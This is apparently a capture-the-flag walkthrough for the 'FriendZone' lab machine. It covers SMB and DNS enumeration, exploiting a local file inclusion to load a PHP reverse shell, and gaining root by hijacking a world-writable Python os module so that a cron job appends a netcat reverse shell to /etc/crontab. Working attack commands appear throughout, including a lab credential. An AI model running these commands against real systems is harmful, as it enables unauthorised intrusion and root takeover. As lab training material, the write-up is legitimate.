FriendZone

Enumeration

Defining a helper variable containing the IP and doing some basic enumeration:

export ip=10.10.10.123
ping $ip # TTL 63 - linux?
nmap -sC -sV $ip -p- -Pn

Ports

Samba

Enum4Linux can be used to enumerate the samba service:

enum4linux -S $ip

Shares

Share Type Mapping Listing Writing Comment
print$ Disk DENIED N/A N/A Printer Drivers
Files Disk DENIED N/A N/A FriendZone Samba Server Files /etc/Files
general Disk OK OK DENIED FriendZone Samba Server Files
Development Disk OK OK OK FriendZone Samba Server Files
$IPC IPC - - - IPC Service (FriendZone server (Samba, Ubuntu))
At this point smbclient can be used to inspect the contents of the listable shares as an anonymous user.
smbclient //$ip/general --no-pass
get creds.txt
exit
cat creds.txt

# creds for the admin THING:

# admin:WORKWORKHhallelujah@#
#

# empty

Http

Dnsmasq can be used to add the domain recovered by nmap from the SSL cert to the resolvable hosts

echo "address=/friendzone.red/$ip" | sudo tee /etc/NetworkManager/dnsmasq.d/domains.conf
sudo systemctl restart NetworkManager

There’s a single page running at http://friendzone.red/ which has email info@friendzoneportal.red on the page.

There’s a separate simple page running on https://friendzone.red/ which need the self-signed SSL cert accepting in browser before visiting. Viewing the certificate in browser reveals email address haha@friendzone.red.

Since dns is running on tcp a zone transfer might reveal additional records:

dig axfr friendzone.red @10.10.10.123
# administrator1.friendzone.red
# hr.friendzone.red
# uploads.friendzone.red

LFI

The page administrator1.friendzone.red is showing a login portal (login.php), for which the credentials recovered from the samba share work.

This then links to https://administrator1.friendzone.red/dashboard.php

Which gives this as a valid param https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

Which gets data from https://administrator1.friendzone.red/timestamp.php

Trying the payload ?image_id=a.jpg&pagename=login shows wrong as an output, probably from the login script itself. This proves there’s a Local Files Inclusion which can perhaps be used to exploit a reverse shell. The samba share development can be written to to allow uploading the reverse shell, then some logical guessing on the location of the file:

// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

We have python, so to stabilise the shell :

python3 -c 'import pty; pty.spawn("/bin/bash")'
# inside the nc session) 
# CTRL+Z;
# stty -a (note down rows, cols)
# stty raw -echo; fg
# export SHELL=/bin/bash; export TERM=screen; stty rows 32 columns 156; reset;

Horizontal privilege escalation

There’s credentials insecurely stored in the web root

Since os is imported by a file ran by root on a timer and is world writable, it can be used for a python module injection exploit.

Vertical Privilege Escalation

Create a os.py with a reverse shell:

shell = '''
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f
'''
f = open('/etc/crontab', 'a')
f.write(shell)
f.close()

Copy it into place, and wait the reverse shell:

cp os.py /usr/lib/python2.7/os.py
nc -lvnp 4444
# get reverse shell
cat /root/root.txt
